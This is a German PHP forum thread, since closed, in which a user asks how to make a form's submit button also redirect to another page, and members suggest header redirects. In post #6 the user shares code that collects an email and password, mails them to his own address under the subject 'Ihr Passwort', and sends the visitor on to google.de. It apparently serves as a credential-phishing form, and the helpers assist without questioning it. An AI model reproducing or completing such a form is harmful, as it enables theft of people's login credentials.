ilch Forum » Allgemein » HTML, PHP, SQL,... » PHP-Button -> Absenden & Weiterleitung

Geschlossen
  1. #1
    User Pic
    iVirus Mitglied
    Registriert seit
    28.07.2008
    Beiträge
    1.250
    Beitragswertungen
    30 Beitragspunkte
    Also es geht um folgendes,

    ich habe ein stinknormales Formular und würde gerne nachdem es ausgefüllt wurde den User auf eine
    andere Seite weiterleiten lassen..also sobald er [ Abschicken ] drückt wird er auf eine von mir
    gewählte seite weitergeleitet..

    sachen wie
    <input type="submit" href="http://seite.de/">

    funktionieren nicht..

    oO habt ihr da eine idee, oder vtl. eine alternative?.. es sollte halt alles über den einen button laufen (absenden & weiterleitung)


    (: bin für jede Hilfe Dankbar..



    mfg vairuz
    0 Mitglieder finden den Beitrag gut.
  2. #2
    User Pic
    GeCk0 Hall Of Fame
    Registriert seit
    01.05.2009
    Beiträge
    2.989
    Beitragswertungen
    96 Beitragspunkte
    der button muss in einem formular sein, dann kannst du die action-url angeben
    Alle Module von mir sind nun unter php-gecko.de erreichbar
    0 Mitglieder finden den Beitrag gut.
  3. #3
    User Pic
    iVirus Mitglied
    Registriert seit
    28.07.2008
    Beiträge
    1.250
    Beitragswertungen
    30 Beitragspunkte
    yo is..

    also du meinst

    <form action="blablabl.de" method="GET">
    
    </forum


    aber was ist wenn die blabalbla.de überhaupt nichts mit dem formular ansich zu tun hat..

    oO
    0 Mitglieder finden den Beitrag gut.
  4. #4
    User Pic
    Son!c Hall Of Fame
    Registriert seit
    14.09.2006
    Beiträge
    3.766
    Beitragswertungen
    5 Beitragspunkte
    <?php if (isset($_POST['submit'])) { header('Location: http://google.de'); } ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
    <input type="submit" name="submit" value="Abschicken"/>
    </form>
    Nimm das Leben nicht zu ernst, du kommst sowieso nicht lebend raus.
    0 Mitglieder finden den Beitrag gut.
  5. #5
    User Pic
    iVirus Mitglied
    Registriert seit
    28.07.2008
    Beiträge
    1.250
    Beitragswertungen
    30 Beitragspunkte
    zunge jetzt wollt ich nomal was fragen..;) aber das hat sich durch Son!cs post erübrigt...

    andere frage lachen musst du nicht arbeiten zwinker.. zunge..



    mfg vairuz
    0 Mitglieder finden den Beitrag gut.
  6. #6
    User Pic
    iVirus Mitglied
    Registriert seit
    28.07.2008
    Beiträge
    1.250
    Beitragswertungen
    30 Beitragspunkte
    ..also hmm hab mich doch getäuscht..

    sonics lösung ggibt nur fehler aus...



    und das mit action="" würd eigentlich funktionieren..

    oO aber irgndwie übergibt er dan nicht mehr die Variablen in die Email-Schleife..


    so siehts grad aus:


    oben:
    <form method="POST" action="http://google.de">


    unten:
    <?php
    $abfragemail = $_POST["emailfrage"];
    $abfragpasswort = $_POST["passwortfrage"];
    
    
    
      $empfaenger = "me@vairuz.com";
      $betreff = "Ihr Passwort";
      $text = "Viel Vergn&uuml;gen!           
               --------------------------------
               eMail   : $abfragemail
               Passwort: $abfragpasswort
               --------------------------------";  
               
    if (isset($_POST["passwortfrage"])){               
    mail($empfaenger, $betreff, $text,
    "From: $sender <passwort@vairuz.com>");} 
    ?>




    EDIT:

    meiner meinung nach ist halt wie gesagt das problem das die domain im "ACTION-TAG" keine funktion für das formular hat.. das ist eine ganz normale seite


    Zuletzt modifiziert von iVirus am 20.01.2010 - 13:29:52
    0 Mitglieder finden den Beitrag gut.
  7. #7
    User Pic
    Nobody is perfe Mitglied
    Registriert seit
    20.01.2009
    Beiträge
    22
    Beitragswertungen
    0 Beitragspunkte
    header kann man nur einmal verwenden in einem script und des wird in der index.php schon benutzt also musste dir was anderes einfallen lassen
    0 Mitglieder finden den Beitrag gut.
  8. #8
    User Pic
    iVirus Mitglied
    Registriert seit
    28.07.2008
    Beiträge
    1.250
    Beitragswertungen
    30 Beitragspunkte
    ich dachte schon daran einfach nen <a>-Tag mit href="" ... um den input-button zu zaubern zunge..

    sauer aber .. nya dan macht er nur noch die weiterleitung.. und das formular lässt er stehen..


    Wenn mans genau nimmt sollten einfach nur 2x Aktionen auftretten wenn man auf Absenden drückt... der eMail versand und der wechsel zu einer anderen seite..



    mfg
    0 Mitglieder finden den Beitrag gut.
  9. #9
    User Pic
    Jan Hall Of Fame
    Registriert seit
    17.01.2007
    Beiträge
    3.646
    Beitragswertungen
    54 Beitragspunkte
    0 Mitglieder finden den Beitrag gut.
Geschlossen

Zurück zu HTML, PHP, SQL,...

Optionen: Bei einer Antwort zu diesem Thema eine eMail erhalten